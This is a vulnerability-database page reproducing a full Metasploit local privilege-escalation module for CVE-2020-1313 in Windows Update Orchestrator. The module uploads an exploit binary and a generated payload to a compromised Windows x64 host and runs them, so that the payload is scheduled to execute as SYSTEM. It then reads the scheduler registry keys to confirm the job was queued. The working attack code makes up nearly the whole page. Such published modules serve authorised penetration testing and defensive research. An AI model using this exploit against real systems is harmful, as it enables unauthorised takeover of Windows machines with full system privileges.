Lucene search
K

Microsoft Windows Update Orchestrator Unchecked ScheduleWork Call

🗓️ 28 Sep 2020 00:00:00Reported by Imre RadType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 331 Views

Microsoft Windows Update Orchestrator Unchecked ScheduleWork Call exploit for Windows x64 system via UniversalOrchestrator ScheduleWork API call allowing execution as SYSTEM in next 24 hour

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/common'  
require 'msf/core/post/file'  
require 'msf/core/post/windows/priv'  
require 'msf/core/exploit/exe'  
require 'msf/core/post/windows/registry'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Common  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Exploit::EXE  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Windows Update Orchestrator unchecked ScheduleWork call',  
'Description' => %q{  
This exploit uses access to the UniversalOrchestrator ScheduleWork API call  
which does not verify the caller's token before scheduling a job to be run  
as SYSTEM. You cannot schedule something in a given time, so the payload will  
execute as system sometime in the next 24 hours.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Imre Rad', # Original discovery? and PoC (https://github.com/irsl/CVE-2020-1313)  
'bwatters-r7' # msf module  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Targets' =>  
[  
['Windows x64', { 'Arch' => ARCH_X64 }]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 04 2019',  
'References' =>  
[  
['CVE', '2020-1313'],  
['URL', 'https://github.com/irsl/CVE-2020-1313']  
],  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => true  
}  
)  
)  
  
register_options([  
OptString.new('EXPLOIT_NAME',  
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),  
OptString.new('PAYLOAD_NAME',  
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),  
OptString.new('WRITABLE_DIR',  
[false, 'Path to write binaries (%TEMP% by default).', nil]),  
OptInt.new('EXPLOIT_TIMEOUT',  
[true, 'The number of seconds to wait for exploit to finish running', 60]),  
OptInt.new('EXECUTE_DELAY',  
[true, 'The number of seconds to delay between file upload and exploit launch', 3])  
])  
end  
  
def exploit  
exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)  
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)  
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')  
payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')  
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')  
payload_path = "#{temp_path}\\#{payload_name}"  
exploit_path = "#{temp_path}\\#{exploit_name}"  
payload_exe = generate_payload_exe  
  
# Check target  
vprint_status('Checking Target')  
validate_active_host  
validate_target  
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)  
  
# Upload Exploit  
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")  
ensure_clean_destination(exploit_path)  
exploit_bin = exploit_data('cve-2020-1313', 'cve-2020-1313-exe.x64.exe')  
write_file(exploit_path, exploit_bin)  
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")  
  
# Upload Payload  
vprint_status("Uploading Payload to #{sysinfo['Computer']} as #{exploit_path}")  
ensure_clean_destination(payload_path)  
write_file(payload_path, payload_exe)  
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")  
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")  
  
# Run Exploit  
vprint_status('Running Exploit')  
begin  
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)  
vprint_status("Exploit Output:\n#{output}")  
rescue Rex::TimeoutError => e  
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)  
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')  
end  
vprint_status("Cleaning up #{exploit_path}")  
ensure_clean_destination(exploit_path)  
  
# Check registry value  
unless registry_key_exist?('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')  
fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!')  
end  
reg_keys = registry_enumkeys('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')  
fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') if reg_keys.nil?  
found_job = false  
reg_keys.each do |key|  
start_arg = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", 'startArg')  
next unless start_arg['Data'].include? payload_name  
  
found_job = true  
queued_time = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", 'queuedTime')  
q_time_i = queued_time['Data'].unpack1('L_')  
q_time_t = (q_time_i / 10000000) - 11644473600  
print_good("Payload Scheduled for execution at #{Time.at(q_time_t)}")  
end  
fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') unless found_job  
end  
  
def validate_active_host  
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")  
rescue Rex::Post::Meterpreter::RequestError => e  
elog('Could not connect to session', error: e)  
raise Msf::Exploit::Failed, 'Could not connect to session'  
end  
  
def validate_target  
if sysinfo['Architecture'] == ARCH_X86  
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')  
end  
end  
  
def check  
sysinfo_value = sysinfo['OS']  
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i  
vprint_status("Build Number = #{build_num}")  
if sysinfo_value =~ /10/ && (17763 < build_num) && (build_num <= 19041)  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def ensure_clean_destination(path)  
return unless file?(path)  
  
print_status("#{path} already exists on the target. Deleting...")  
begin  
file_rm(path)  
print_status("Deleted #{path}")  
rescue Rex::Post::Meterpreter::RequestError => e  
elog(e)  
print_error("Unable to delete #{path}")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation